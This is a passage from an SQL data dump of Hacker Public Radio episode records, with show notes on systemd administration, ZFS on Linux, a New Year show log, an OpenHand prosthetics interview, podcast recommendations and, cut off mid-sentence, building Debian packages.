display-manager.service</li>\n  <li>stop rescue.target</li>\n </ul>\n <p>Also we have a wants directory <code>/etc/systemd/system/graphical.target.wants/</code> that</p>\n <ul>\n  <li>starts accounts-daemon.service (for logging)</li>\n  <li>starts rtkit-daemon.service (for realtime scheduling)</li>\n </ul>\n <h3>multi-user.target</h3>\n <p>graphical target cascaded to multi-user.target.</p><pre>\n[Unit]\nDescription=Multi-User System\nDocumentation=man:systemd.special(7)\nRequires=basic.target\nConflicts=rescue.service rescue.target\nAfter=basic.target rescue.service rescue.target\nAllowIsolate=yes\n</pre><p>Cascades to</p>\n <ul>\n  <li>start basic.target</li>\n  <li>stop rescue.service</li>\n  <li>stop rescue.target (again)</li>\n </ul>\n <p>Also we have a wants directory <code>/etc/systemd/system/multi-user.target.wants/</code> that</p><pre>\n- abrt-ccpp.service\n- abrtd.service\n- abrt-oops.service\n- abrt-vmcore.service\n- abrt-xorg.service\n- atd.service\n- auditd.service\n- avahi-daemon.service\n- chronyd.service\n- crond.service\n- cups.path\n- irqbalance.service\n- libvirtd.service\n- mcelog.service\n- mdmonitor.service\n- NetworkManager.service\n- nfs.target\n- remote-fs.target\n- rngd.service\n- rpcbind.service\n- rsyslog.service\n- smartd.service\n- vmtoolsd.service\n</pre><h3>display-manager.service</h3>\n <p>graphical.target also cascaded to display-manager.service which is not present on F20 so I guess we don\'t need it.</p>\n <h3>basic.target</h3>\n <p>So multiuser.target cascaded to basic.target, which itself cascades to</p><pre>\n- sysinit.target\n- sockets.target\n- timers.target\n- paths.target\n- slices.target\n- firewalld.service\n</pre><h3>sysinit.target</h3>\n <p>basic.target cascaded to sysinit.target which itself cascades to</p><pre>\n- local-fs.target \n- swap.target\n- dmraid-activation.service\n- iscsi.service\n- lvm2-monitor.service\n- multipathd.service ( which looks like all the file system daemons)\n</pre><h3>sockets.target</h3>\n <p>basic.target also cascaded to sockets.target which itself cascades to</p><pre>\n- avahi-daemon.socket\n- cups.socket\n- dm-event.socket\n- iscsid.socket\n- iscsiuio.socket\n- lvm2-lvmetad.socket\n- rpcbind.socket\n</pre><h3>End point</h3>\n <p>Now we start reaching the end-points of this trail at</p><pre>\n- systemd.sockets\n- systemd.timer\n- systemd.path\n- systemd.slice\n- systemd-fstab-generator\n</pre><p>By the time all of that has finished, if I type the command</p>\n <p><code># systemctl list-units --type service</code></p>\n <p>I see that 58 services are listed as running</p>\n <h2>Running and Configuring Services</h2>\n <p>If we are going to work with systemd we will have to give it instructions. In systemd parlance</p>\n <ul>\n  <li>active = running, currently in use</li>\n  <li>loaded = enabled, available for use</li>\n </ul>\n <p>These terms crop up in the output from commands</p>\n <p>Many instructions are given to systemd by the systemctl command.</p>\n <p>Now to compare line up some common SysV init tasks with their systemd equivalent</p>\n <table border=\"1\" cellpadding=\"5\" cellspacing=\"5\" width=\"500\">\n  <caption>Table 2. SysV init commands and their systemd equivalents</caption>\n  <tr>\n   <th>command</th>\n   <th>SysV Init</th>\n   <th>systemd</th>\n  </tr>\n  <tr>\n   <td>Check status</td>\n   <td><code># service bluetooth status</code></td>\n   <td><code># systemctl status bluetooth</code></td>\n  </tr>\n  <tr>\n   <td>Start</td>\n   <td><code># service bluetooth start</code></td>\n   <td><code># systemctl start bluetooth</code></td>\n  </tr>\n  <tr>\n   <td>Stop</td>\n   <td><code># service bluetooth stop</code></td>\n   <td><code># systemctl stop bluetooth</code></td>\n  </tr>\n  <tr>\n   <td>Enable</td>\n   <td><code># chkconfig --level 35 ntpd on</code></td>\n   <td><code># systemctl enable ntpd</code></td>\n  </tr>\n  <tr>\n   <td>Disable</td>\n   <td><code># chkconfig --level 35 ntpd off</code></td>\n   <td><code># systemctl disable ntpd</code></td>\n  </tr>\n </table>\n <h2>Journalctl Logging</h2>\n <p>Much has been said about the desirability or otherwise of binary logs, but systemd gives us these so we had better know what to do with them.</p>\n <p>Journal instructions are given to systemd by the journalctl command</p>\n <dl>\n  <dt>To view all log entries in one go. This is verbose, mine came out at ~9000 lines</dt>\n  <dd><code># journalctl</code></dd>\n  <dt>To view from a specific date</dt>\n  <dd><code># journalctl --since=\"2014-05-07\"</code></dd>\n  <dt>To view kernel logs</dt>\n  <dd><code># journalctl -k</code></dd>\n  <dt>To follow a log in realtime ... and then to close</dt>\n  <dd><code># journalctl -f<br /> ...<br /> # ctl-c</code></dd>\n  <dt>To view log entries associated with a given PID</dt>\n  <dd><code># journalctl _PID=1</code></dd>\n  <dt>To view log entries associated with a given service</dt>\n  <dd><code># journatlctl -u bluetooth</code></dd>\n </dl>\n <h2>Interrogating the system</h2>\n <h3>More systemd information</h3>\n <dl>\n  <dt>Get/Set system information. Works like uname, but is more verbose</dt>\n  <dd><code># hostnamectl</code></dd>\n  <dt>Get/Set timezone &amp; timedate info</dt>\n  <dd><code># timedatectl</code></dd>\n </dl>\n <table border=\"1\" cellpadding=\"5\" cellspacing=\"5\" width=\"800\">\n  <caption>Table 3. SysV init information and their systemd equivalents</caption>\n  <tr>\n   <th>SysV Init Info</th>\n   <th width=\"250\">SysV Init command</th>\n   <th>systemd info</th>\n   <th width=\"250\">systemd command</th>\n  </tr>\n  <tr>\n   <td>What services are available for init.d to manage</td>\n   <td><code># ls /etc/init.d</code></td>\n   <td>What service units are available for systemd to run</td>\n   <td><code># systemctl list-units --type service --all</code></td>\n  </tr>\n  <tr>\n   <td>What services are configured to be run by init.d for each run level</td>\n   <td><code># chkconfig --list</code></td>\n   <td>What service units are currently active</td>\n   <td><code># systemctl list-units --type service</code></td>\n  </tr>\n </table>\n <h2>References</h2>\n <ul>\n  <li>man pages for systemd, systemd.unit, systemctl, journalctl.<br /> Plus a bunch of other man pages that are SEE ALSO in these man pages.</li>\n  <li><a href=\"https://www.freedesktop.org/wiki/Software/systemd/\">systemd homepage</a></li>\n  <li><a href=\"https://blog.dmcip.com/2014/05/an-introduction-to-systemd/\">A useful systemd blog posting, by Adam Dean of Asterisk Telephones</a></li>\n  <li><a href=\"https://www.youtube.com/watch?v=BS8cdl7dOUI\">A useful youtube vid by George Magklaras, UNiversity of Oslo, Norway</a></li>\n </ul>',284,0,0,'CC-BY-SA','systemd, tutorial, howto',0,0,1),
(1700,'2015-02-06','Today with a Techie episode two thousand',619,'TWaT started 9 years, 3 months, 27 days ago and today we celebrate the first 2000 episodes','<p>Hacker Public Radio (HPR) is an Internet Radio show (podcast) that releases shows every weekday Monday through Friday. HPR has a long lineage going back to <a href=\"https://www.oldskoolphreak.com\" target=\"_blank\">Radio FreeK America</a>, <a href=\"https://www.binrev.com\" target=\"_blank\">Binary Revolution Radio</a> &amp; <a href=\"https://nomicon.info\" target=\"_blank\">Infonomicon</a>, and it is a direct continuation of <a href=\"https://twatech.org/\" target=\"_blank\">Twatech</a> radio. Please listen to StankDawg&#39;s &quot;<a href=\"https://hackerpublicradio.org/eps/hpr0001.mp3\" target=\"_blank\">Introduction to HPR</a>&quot; for more information.</p>\r\n\r\n<p>Knowing how much I hate editing, I hope everyone can get a sense for how much I appreciate all the people who took the time to contribute to the project.</p>\r\n\r\n<p>\r\nIf you haven\'t contributed a show yet, well today is a perfect day to get involved. Just click our contribute link: <a href=\"https://hackerpublicradio.org/contribute.php\">https://hackerpublicradio.org/contribute.php</a></p>',30,0,0,'CC-BY-SA','today with a techie,hacker public radio,hosts',0,0,1),
(1673,'2014-12-31','How I use ZFS on Linux',1037,'The ZFS file system and how I use it under Linux.','<p>\r\nOn the show today, I will tell you about how I use the ZFS file system on my home server. I also go into some details about how I came to use the ZFS, especially under Linux. I also tell you about a certain pitfall I ran into with the hard drives I chose for ZFS. And finally, I will refer you back to HPR episode 1600 by JWP for more information about ZFS, as he goes into great detail about it and its history.\r\n</p>\r\n\r\n<h3>Links</h3>\r\n\r\n<ul>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=1600\">https://hackerpublicradio.org/eps.php?id=1600</a>\r\n</li>\r\n<li><a href=\"https://zfsonlinux.org/\">https://zfsonlinux.org/</a>\r\n</li>\r\n<li><a href=\"https://www.backblaze.com/blog/hard-drive-reliability-update-september-2014/\">https://www.backblaze.com/blog/hard-drive-reliability-update-september-2014/</a>\r\n</li>\r\n</ul>',292,77,0,'CC-BY-SA','ZFS, zfsonlinux, linux',0,0,1),
(1681,'2015-01-12','2014-2015 New Year Show Part 8 of 8',13080,'New Year Show Part 8 from 08:00 to 12:00','<b>2015-01-01T08:00:00Z</b><br\r\n/>Mumble-2015-01-01-00-04-59-ch1.teamspeak.cc-Mixdown.ogg<br\r\n/><ul><li>Greetings to the western region of the United States, some regions of Canada and 2 more: Los Angeles, San Francisco, Las Vegas, Seattle.</li\r\n><li>pants.... really this is intelligent conversation</li\r\n><li>Pants are optional, I think. It\'s -20C.... pants are not optional</li\r\n><li>kilts are kreepy? or not. No they are not.</li\r\n><li>cobra2 thinks that ken should pay attention to show notes for editing lol. </li\r\n><li>pokey thinks this may be the show that finally convinces Ken to edit.</li\r\n><li>2nd there is a good hour that should not go onto the feed. it was rough on the stream</li\r\n><li>YAY TMI!!!</li\r\n><li>This is not the creamy part of the oreo. :(</li\r\n><li> this is the creamy salty part... of the oreo. </li\r\n><li>Sliders - tvshow added late by pegwole</li\r\n><li>dogs giving birth sounds better than singing over mumble</li\r\n><li><br/><br/><br\r\n/></li></ul\r\n><b>2015-01-01T09:00:00Z</b><br\r\n/><br\r\n/><ul><li>Greetings to Alaska and French Polynesia: Anchorage, Fairbanks, Unalaska, Juneau.</li\r\n><li>pokey  issues a challenge to the NYE participants: Judging by the show notes, we\'ve spent the last 6 hours taking every joke to the lowest common denominator. I\'d like to see an hour of greatest common factor.</li\r\n><li>Ken Talks about xmlstarlet and converting xml<br/><br\r\n/></li></ul\r\n><b>2015-01-01T09:30:00Z</b><br\r\n/><br\r\n/><ul><li>Greetings to Marquesas Islands/France. Taiohae.</li\r\n><li><br/></li></ul\r\n>\r\n<br\r\n/><ul><li>handsome_pirate talks about his model trains; he models the original Norfolk Southern in N scale</li\r\n><li>Some talks about about Scottish things, innacuracies in Braveheart, Gaidhligh has no \'W\'<br/><br\r\n/></li></ul\r\n><b>2015-01-01T10:00:00Z</b><br\r\n/><br\r\n/><ul><li>Greetings to small region of the United States and 2 more: Honolulu, Rarotonga, Adak, Papeete.</li\r\n><li>Youngins!</li\r\n><li>Kens Children talk about taking hard disks apart and put together an Ikea bookshelf.</li\r\n><li>Discussion on accessability in mumble Emil Ivov, the project lead of Jitsi. <a href=\"https://hackerpublicradio.org/eps.php?id=1454\">https://hackerpublicradio.org/eps.php?id=1454</a> Jits</li\r\n><li><br/><br/><br\r\n/></li></ul\r\n><b>2015-01-01T11:00:00Z</b><br\r\n/><br\r\n/><ul><li>Greetings to American Samoa, Midway Atoll and 1 more: Alofi, Midway, Pago Pago.</li\r\n><li>Use of federated tools like gnusocial quitter.se </li\r\n><li>Tech in Hungary - Internet tax</li\r\n><li>Irish expats can\'t vote</li\r\n><li>Scottish independance</li\r\n><li><a href=\"https://duffercast.org/about/the-hosts/\">https://duffercast.org/about/the-hosts/</a></li\r\n><li>Ken shares his saga on getting a Linux Laptop</li\r\n><li>UK Support say \"Lenovo UK does not restrict anything on the unit. You can install any  Operating system on the unit however we can only support the original  configuration of the unit. \"</li\r\n><li>Ken Asked \"Lenovo have shipped the IdeaPad Flex 10, without the ability to boot other operating systems, restricting the owner to running only the installed Windows 8.0 operating system.\"</li\r\n><li>Lenovo Replies: \"The first wave of this CPU model from Intel can only support Windows, this is not Lenovo design, all product with this wave CPU were not able to support other OS except Windows. After this wave, the follow on Flex10 will support other operating systems.\"</li\r\n><li>Open phones. <a href=\"https://en.wikipedia.org/wiki/List_of_open-source_mobile_phones\">https://en.wikipedia.org/wiki/List_of_open-source_mobile_phones</a><br/><br\r\n/></li></ul\r\n><b>2015-01-01T12:00:00Z</b><br\r\n/><br\r\n/><ul><li>Greetings to small region the United States: Baker Island, Howland Island.<br/><br\r\n/></li>\r\n<li>Script to convert url lists to OPML: <a href=\"https://gitlab.anhonesthost.com/HPR/HPR_Public_Code/blob/master/misc/convert-mashpodder-to-opml.bash\">https://gitlab.anhonesthost.com/HPR/HPR_Public_Code/blob/master/misc/convert-mashpodder-to-opml.bash</a></li>\r\n<li>The End!<br/><br\r\n/></li\r\n><li> <a href=\"https://en.wikipedia.org/wiki/Auld_Lang_Syne\">https://en.wikipedia.org/wiki/Auld_Lang_Syne</a><br/><br\r\n/><br/><br\r\n/><br/><br\r\n/></li></ul\r\n><b><i>Auld Lang Syne</i></b><br\r\n/><br\r\n/><i>Should auld acquaintance be forgot, </i><br\r\n/><i>And never brought to mind? </i><br\r\n/><i>Should auld acquaintance be forgot, </i><br\r\n/><i>And days o’ lang syne!</i><br\r\n/><br\r\n/><b><i>Chorus:</i></b><br\r\n/><i>For auld lang syne, my dear </i><br\r\n/><i>For auld lang syne, </i><br\r\n/><i>We’ll tak a cup o’ kindness yet </i><br\r\n/><i>For auld lang syne!               </i><br\r\n/><i>We twa hae run about the braes, </i><br\r\n/><i>And pu’d the gowans fine, </i><br\r\n/><i>But we’ve wander’d mony a weary foot </i><br\r\n/><i>Sin’ auld lang syne.</i><br\r\n/><i>             </i><br\r\n/><i>We twa hae paidl’t in the burn </i><br\r\n/><i>Frae morning sun till dine, </i><br\r\n/><i>But seas between us braid hae roar’d </i><br\r\n/><i>Sin’ auld lang syne.</i><br\r\n/><i>             </i><br\r\n/><i>And there’s a hand, my trusty fiere, </i><br\r\n/><i>And gie’s a hand o’ thine, </i><br\r\n/><i>And we’ll tak a right guid willie-waught </i><br\r\n/><i>For auld lang syne!</i><br\r\n/><i>             </i><br\r\n/><i>And surely ye’ll be your pint’ stoup, </i><br\r\n/><i>And surely I’ll be mine! </i><br\r\n/><i>And we’ll tak a cup o’ kindness yet </i><br\r\n/><i>For auld lang syne!</i><br\r\n/><br\r\n/>Count down script<br\r\n/>$ while [[ $(date +%Y) -ne 2015 ]];do figlet $(($(date -d 2015-01-01  +%s)-$(date +%s)));sleep 1;clear;done;figlet \'Happy New Year!\'<br\r\n/><br\r\n/><b>Thanks To:</b><br\r\n/>Mumble Server: John Neusteter<br\r\n/>HPR Site/VPS: Joshua Knapp - AnHonestHost.com<br\r\n/>Streams: Kevin Wisher - <a href=\"https://www.linuxlugcast.com\">https://www.linuxlugcast.com</a><br\r\n/>Admin Support: cobra2    <br\r\n/>EtherPad: Russ Woodman - K5TUX<br\r\n/><br\r\n/>Peak Listeners on stream: 45<br\r\n/>Mumble Participants: 74<br\r\n/>Arjun.ext<br\r\n/>b<br\r\n/>bambiker<br\r\n/>Beeza<br\r\n/>Bill_MI<br\r\n/>Broam<br\r\n/>chalkahlom<br\r\n/>claudiom<br\r\n/>cobra2<br\r\n/>cogs<br\r\n/>Colin<br\r\n/>danns<br\r\n/>Danyel_Tiger<br\r\n/>davidWHITMAN<br\r\n/>deltaray<br\r\n/>delwin<br\r\n/>DrSeussOfPorn<br\r\n/>dude-man<br\r\n/>Epicanis<br\r\n/>fatherfinch<br\r\n/>FiftyOneFifty<br\r\n/>FlyingRichHCSC<br\r\n/>fredmorcos<br\r\n/>FXBOY4EVA<br\r\n/>HarryGuerrilla<br\r\n/>honkeymagoo<br\r\n/>hpirate<br\r\n/>jkib<br\r\n/>jnadeau<br\r\n/>jneusteter<br\r\n/>JoeRess<br\r\n/>JonDoeLocksmith<br\r\n/>Jon-KT4KB<br\r\n/>JonTheNiceGuy<br\r\n/>K5TUX<br\r\n/>ken_fallon<br\r\n/>Knightwise<br\r\n/>kt4kb_<br\r\n/>KWisher<br\r\n/>lgx<br\r\n/>linuxinsider<br\r\n/>Lord_D<br\r\n/>MarkWaters<br\r\n/>mcnalu<br\r\n/>MikeRay<br\r\n/>Mint-Jack<br\r\n/>mpbaird<br\r\n/>MrGadgets<br\r\n/>mrx<br\r\n/>n0wje<br\r\n/>neurosis<br\r\n/>notklaatu<br\r\n/>perlist<br\r\n/>pokey<br\r\n/>popey<br\r\n/>riddlebox<br\r\n/>RobH<br\r\n/>SamWhited<br\r\n/>schism<br\r\n/>sebsebsebMageia4<br\r\n/>Seetee<br\r\n/>Shadow<br\r\n/>SndChaser<br\r\n/>Tally<br\r\n/>Thaj<br\r\n/>thelastknowngod<br\r\n/>ThistleWeb<br\r\n/>threethirty<br\r\n/>tjwehrley<br\r\n/>Underruner<br\r\n/>Urugami<br\r\n/>useruser<br\r\n/>Velkro<br\r\n/><br\r\n/>Podcasts:<br\r\n/><br\r\n/><br\r\n/><a href=\"https://www.jupiterbroadcasting.com/show/techsnap/\">https://www.jupiterbroadcasting.com/show/techsnap/</a> (TechSNAPP - sysadmin techy stuff)<br\r\n/><a href=\"https://www.jupiterbroadcasting.com/show/unfilter/\">https://www.jupiterbroadcasting.com/show/unfilter/</a> (political media coverage)<br\r\n/><a href=\"https://www.dancarlin.com/common-sense-home-landing-page/\">https://www.dancarlin.com/common-sense-home-landing-page/</a> (politicial media)<br\r\n/><a href=\"https://www.dancarlin.com/home-hh-54/\">https://www.dancarlin.com/home-hh-54/</a> (hardcore history, for history buffs)<br\r\n/><a href=\"https://podcasts.joerogan.net/\">https://podcasts.joerogan.net/</a> Joe Rogan interviews all types of people<br\r\n/><a href=\"https://www.linuxlugcast.com\">https://www.linuxlugcast.com</a><br\r\n/><a href=\"https://duffercast.org/about/the-hosts/\">https://duffercast.org/about/the-hosts/</a><br\r\n/><a href=\"https://www.todayifoundout.com/index.php/category/podcast/\">https://www.todayifoundout.com/index.php/category/podcast/</a><br\r\n/>\r\n<br />\r\n<a href=\"https://hackerpublicradio.org/eps/hpr1681_mumble.log\">https://hackerpublicradio.org/eps/hpr1681_mumble.log</a><br />\r\n<a href=\"https://hackerpublicradio.org/eps/hpr1681_irc.log\">https://hackerpublicradio.org/eps/hpr1681_irc.log</a><br />\r\n',159,121,1,'CC-BY-SA','New Year,2015',0,0,1),
(1686,'2015-01-19','Interview with Joel Gibbard of OpenHand',1619,'An interview with Joel Gibbard founder of the prize winning Openhand project','<p>\r\nThis show is an interview with Joel Gibbard founder of the OpenHand project. \r\nThe interview was recorded on my phone which unfortunately created a few glitches. \r\nI\'ve cleaned the audio up as best I can. Although frustrating, the occasional glitches have not caused anything to be missed that cannot be inferred from the context of the recording. \r\n</p>\r\n<img src=\"https://hackerpublicradio.org/eps/hpr1686.jpg\" width=\"80%\" alt=\"photo of the hand\"/>\r\n<p>\r\nAfter creating an artificial hand for his degree project Joel Gibbard wanted to continue the work on the hand with the goal of producing a workable prosthetic hand for $1000, so he launched the OpenHand project with a succesful IndieGoGo fundraiser. In this interview we learn more about the Dextrus hand, the project\'s \r\nprogress to date, and hear of Joel\'s vision of affordable prosthetics for amputees worldwide.\r\n</p>\r\n<p>\r\nFor a short 4 minute introduction to the project see Joel\'s video at \r\n</p>\r\n\r\n<ul>\r\n<li><a href=\"https://tinyurl.com/ohvid\">https://tinyurl.com/ohvid</a> \r\n</li>\r\n<li>(<a href=\"https://www.youtube.com/watch?v=6dI-dNE2yQ0\">https://www.youtube.com/watch?v=6dI-dNE2yQ0</a>)\r\n</li>\r\n</ul>\r\n\r\n<p>\r\nThe openhand designs and more information are available at \r\n</p>\r\n\r\n<ul>\r\n<li><a href=\"https://www.openhandproject.org/\">https://www.openhandproject.org/</a> and \r\n</li>\r\n<li><a href=\"https://www.openbionics.com/\">https://www.openbionics.com/</a>\r\n<p></p>\r\n</li>\r\n</ul>\r\n',240,79,0,'CC-BY-SA','Open Source, Robotics, 3D Printing',0,0,1),
(1687,'2015-01-20','Podcast recommendations',1290,'Thaj goes through his podcast list and shares the shows that he finds to be the most interesting. ','<h3>Linux / Floss Podcasts</h3>\r\n\r\n<ul>\r\n<li><b>Dudmonovi:</b> Wish it was still going.  I really like Dude Man\'s ideas.  (<a href=\"https://feeds.feedburner.com/DudmanoviBlogAboutEverything\">https://feeds.feedburner.com/DudmanoviBlogAboutEverything</a>)\r\n</li>\r\n<li><b>Floss Weekly:</b> I skip some of these because they do not apply to something I would use. (<a href=\"https://leo.am/podcasts/floss/\">https://leo.am/podcasts/floss/</a>)\r\n</li>\r\n<li><b>GNU World Order:</b> Klaatu is pretty similar to me.  (<a href=\"https://gnuworldorder.info/ogg.xml\">https://gnuworldorder.info/ogg.xml</a>)\r\n</li>\r\n<li><b>HPR:</b> Obviously (<a href=\"https://hackerpublicradio.org/hpr_rss.php\">https://hackerpublicradio.org/hpr_rss.php</a>)\r\n</li>\r\n<li><b>Health Nutz:</b> Not specifically Linux related, but the guys come from the community and who doesn\'t need to look after their health. (<a href=\"https://feeds.feedburner.com/podnutz/healthnutz\">https://feeds.feedburner.com/podnutz/healthnutz</a>)\r\n</li>\r\n<li><b>Kernal Panic Oggcast:</b> Good general news. (<a href=\"https://kernelpanicoggcast.net/rss.php\">https://kernelpanicoggcast.net/rss.php</a>)\r\n</li>\r\n<li><b>The Linux Link Tech Show:</b> Pretty light on Linux content these days, but I typically enjoy the conversation. (<a href=\"https://www.thelinuxlink.net/tllts/tllts.rss\">https://www.thelinuxlink.net/tllts/tllts.rss</a>)\r\n</li>\r\n<li><b>Linux Voice:</b> companion to the magazine (<a href=\"https://www.linuxvoice.com/podcast_ogg.rss\">https://www.linuxvoice.com/podcast_ogg.rss</a>)\r\n</li>\r\n<li><b>Linux Lug Cast:</b> Frequently on the show (<a href=\"https://feeds.feedburner.com/linuxlugcast/JZUx\">https://feeds.feedburner.com/linuxlugcast/JZUx</a>)\r\n</li>\r\n<li><b>Open Source Musicians Podcast:</b> Although I don\'t do much with audio production these days I still enjoy listening to it and hoping that one day I\'ll have time to get back into it. (<a href=\"https://opensourcemusician.libsyn.com/rss\">https://opensourcemusician.libsyn.com/rss</a>)\r\n</li>\r\n<li><b>Linux Action Show and Linux Unplugged:</b> I\'ve been suprised with the quality of Jupiter Broadcasting shows recently.  I had dropped this show for a long time but I have recently begun listening to it again. (<a href=\"https://feeds.feedburner.com/computeractionshowvideo\">https://feeds.feedburner.com/computeractionshowvideo</a>) (<a href=\"https://feeds.feedburner.com/linuxunogg\">https://feeds.feedburner.com/linuxunogg</a>)\r\n</li>\r\n<li><b>Linux Outlaws:</b> May it rest in peace.  This is the podcast that got me started in Linux.  Without it I would still be using Macs....shudder. (<a href=\"https://feeds.feedburner.com/linuxoutlaws\">https://feeds.feedburner.com/linuxoutlaws</a>)\r\n</li>\r\n</ul>\r\n\r\n<h3>Pop Culture General Podcasts</h3>\r\n\r\n<ul>\r\n<li><b>Podculture:</b> Local folks who talk about nerdy things.  (<a href=\"https://www.podculture.com/feed/\">https://www.podculture.com/feed/</a>)\r\n</li>\r\n<li><b>The Mindrobbers:</b> This show is run by a writer from my gernal area named Scott Carelli.  I orginially heard of him through Podculture.  I\'ve followed his various podcasts for many years and this is the most recent incarnation.  Although sometimes I don\'t always agree with his opinions I do always look forward to hearing them. (<a href=\"https://www.mindrobber.net/feed/\">https://www.mindrobber.net/feed/</a>)\r\n</li>\r\n<li><b>Trekcast:</b> My first undying love in this world is Star Trek.  (<a href=\"https://trekcast.podbean.com/feed/\">https://trekcast.podbean.com/feed/</a>)\r\n</li>\r\n<li><b>The Doctor\'s Companion:</b> Another podcast by Scott Carelli and gang.  Good American centreic view of Doctor Who, another of my favorite shows. (<a href=\"https://www.thedoctorscompanion.us/?feed=rss2\">https://www.thedoctorscompanion.us/?feed=rss2</a>)\r\n</li>\r\n<li><b>The Babylon Podcast:</b> This show isn;t in production anymore, but if you are a fan of Babylon 5 (which I am) this is a great show that breaks down each episode, and interviews many of the stars from the show. (<a href=\"https://www.babylonpodcast.com/category/shows/feed/\">https://www.babylonpodcast.com/category/shows/feed/</a>)\r\n</li>\r\n<li><b>Fear the Boot:</b> A great tabletop role playing game podcast (<a href=\"https://www.feartheboot.com/ftb/?feed=rss2\">https://www.feartheboot.com/ftb/?feed=rss2</a>)\r\n</li>\r\n<li><b>Hiyaa Martial Arts Podcast:</b> Must listening for martial artists (especially of the chinese martial arts persuasion).  There are very few good martial arts podcasts out there that are not style specific.  This fits the bill.  One of the host practices the same style of kung fu that I do (although through a different branch of the family tree) and it\'s nice to see that perspective on other arts. (<a href=\"https://feeds.feedburner.com/HiyaaMartialArtsPodcast\">https://feeds.feedburner.com/HiyaaMartialArtsPodcast</a>)\r\n</li>\r\n<li><b>This American Life:</b> NPR.. used to be an addict. (<a href=\"https://feeds.thisamericanlife.org/talpodcast\">https://feeds.thisamericanlife.org/talpodcast</a>)\r\n</li>\r\n<li><b>Unfilter:</b> Jupiter Broadcasting\'s version of No Agenda.  I used to listen to No Agenda but I find that it has become too long, and they tend to go off the deep end on some of their annalysis in my opinion.  I find Unfilter to be a little more grounded, and it\'s an hour and a half once a week.  I\'ll still listen to No agenda from time to time, but not regularly since I found this. (<a href=\"https://www.jupiterbroadcasting.com/feeds/unfilterogg.xml\">https://www.jupiterbroadcasting.com/feeds/unfilterogg.xml</a>)\r\n</li>\r\n</ul>\r\n\r\n<h3>Ham Radio Podcasts</h3>\r\n\r\n<ul>\r\n<li><b>Linux in the Ham Shack:</b> K5TUX and crew talk about the inersection of Ham and Linux.  (<a href=\"https://lhspodcast.info/category/podcast-mp3/feed/\">https://lhspodcast.info/category/podcast-mp3/feed/</a>)\r\n</li>\r\n<li><b>Resonant Frequency:</b> another Ham radio podcast from an alum of Linux in the Ham Shack (<a href=\"https://rfpodcast.info/Podcast/feed/\">https://rfpodcast.info/Podcast/feed/</a>)\r\n</li>\r\n<li><b>Ham Nation:</b> Twit\'s Ham radio podcast.  Sometimes boring but I usually watch it anyways. (<a href=\"https://amateurlogic.tv/transmitter/feeds/ipod.xml\">https://amateurlogic.tv/transmitter/feeds/ipod.xml</a>)\r\n</li>\r\n<li><b>Amateurlogic:</b> a great ham radio (and a little bit more) vieo podcast.  A lot of making and hacking going on in this one. (<a href=\"https://amateurlogic.tv/transmitter/feeds/ipod.xml\">https://amateurlogic.tv/transmitter/feeds/ipod.xml</a>)\r\n</li>\r\n</ul>\r\n\r\n<h3>Science Podcast</h3>\r\n\r\n<ul>\r\n<li><b>Radiolab:</b> NPR radio podcast.  Good interesting science. (<a href=\"https://feeds.wnyc.org/radiolab\">https://feeds.wnyc.org/radiolab</a>)\r\n</li>\r\n<li><b>Star Talk:</b> Neil DeGrasse Tyson\'s radio show.  Brings on guests to discuss sciene in a general audience way. (<a href=\"https://feeds.soundcloud.com/users/soundcloud:users:38128127/sounds.rss\">https://feeds.soundcloud.com/users/soundcloud:users:38128127/sounds.rss</a>)\r\n</li>\r\n<li><b>This Week in Science:</b> A good weekly roudtable science news podcast.  Used to be a TWiT show but has branched out on it\'s own. (<a href=\"https://feeds.feedburner.com/twis/science/\">https://feeds.feedburner.com/twis/science/</a>)\r\n</li>\r\n</ul>\r\n\r\n<h3>Buddhism</h3>\r\n\r\n<p>\r\nI listen to a lot of random budhism podcasts but this is the must listen to.\r\n</p>\r\n\r\n<ul>\r\n<li><b>Buddhist Geeks:</b> Modern take on culture, science and society\'s impact on Budhism.  Tends to be academic, but I enjoy it. (<a href=\"https://feeds.feedburner.com/BuddhistGeeksPodcast\">https://feeds.feedburner.com/BuddhistGeeksPodcast</a>)\r\n</li>\r\n<li><b>Vedic Mythology and Mantras Podcast:</b> While not Buddhist specifically I have always loved Vedic mythology and Indian music.  In my mind the relationship between the Vedic traditions and Buddhist are similar to Judaism to Christianity.  This podcast gies a short mythological story and a chant that goes along with it.  It\'s no longer being produced but it has lots of episodes to listen to.  (<a href=\"https://www.puja.net/wordpress/category/mythologypodcast/\">https://www.puja.net/wordpress/category/mythologypodcast/</a>)\r\n</li>\r\n</ul>\r\n\r\n<h3>TWiT Shows</h3>\r\n\r\n<ul>\r\n<li><b>All About Android:</b> (<a href=\"https://leo.am/podcasts/aaa.xml\">https://leo.am/podcasts/aaa.xml</a>)\r\n</li>\r\n<li><b>This Week in Computer Hardware:</b> (<a href=\"https://leo.am/podcasts/twich/\">https://leo.am/podcasts/twich/</a>)\r\n</li>\r\n<li><b>This Week in Google:</b> (<a href=\"https://leo.am/podcasts/twig/\">https://leo.am/podcasts/twig/</a>)\r\n</li>\r\n<li><b>TWiT:</b> (<a href=\"https://feeds.twit.tv/twit\">https://feeds.twit.tv/twit</a>)\r\n</li>\r\n<li><b>Know How:</b> (<a href=\"https://amateurlogic.tv/transmitter/feeds/ipod.xml\">https://amateurlogic.tv/transmitter/feeds/ipod.xml</a>)\r\n<p></p>\r\n</li>\r\n</ul>',270,75,0,'CC-BY-SA','podcasts',0,0,1),
(1688,'2015-01-21','Some useful tools when compiling software',766,'Useful tools I found when compiling software, and creating a debian package.','<h3>introduction</h3>\r\n\r\n<p>\r\nHi this is Rho`n and welcome to my first submission to Hacker Public Radio. I have been working on an application using the Python programming language with the Enlightenment Foundation Libraries (EFL) libraries for the GUI interface. After acquiring a new laptop and installing a fresh copy of Ubuntu on it, I decided to set up the build environment I needed to be able to work on my project. I have been building from source the EFL libraries along with the Python-EFL wrapper libraries. For the last couple machines on which I have built the software, I would use the standard configure, make, and make install procedure. This time around I decided to create a debian package to use for installing the libraries. It had been a few years since I had created a .deb, so I googled for some tutorials, and found mention of the checkinstall program. After reading a couple blog posts about it I decided to try it out. checkinstall is run instead of \"make install\" , and will create a .deb file, and then install the newly created package.\r\n</p>\r\n\r\n<h3>cut and tr commands</h3>\r\n\r\n<p>\r\nTo help speed up the configure process, I had previously created a file from my other builds that is a grep of my history for all the various \"apt get install\" commands of the libraries the EFL software needs to compile. Since my current operating system was a freshly installed distribution of Ubuntu, I needed to install the build-essential package first. After looking through my install file, and I decided to create a single apt-get install line with all the packages listed, instead of running each of the installs seperately. I knew I could grep the file, and then pass that to awk or sed, but my skill with either isn\'t that great. I did a little searching to see what other tools were out there and found the cut command and the tr command. Cut 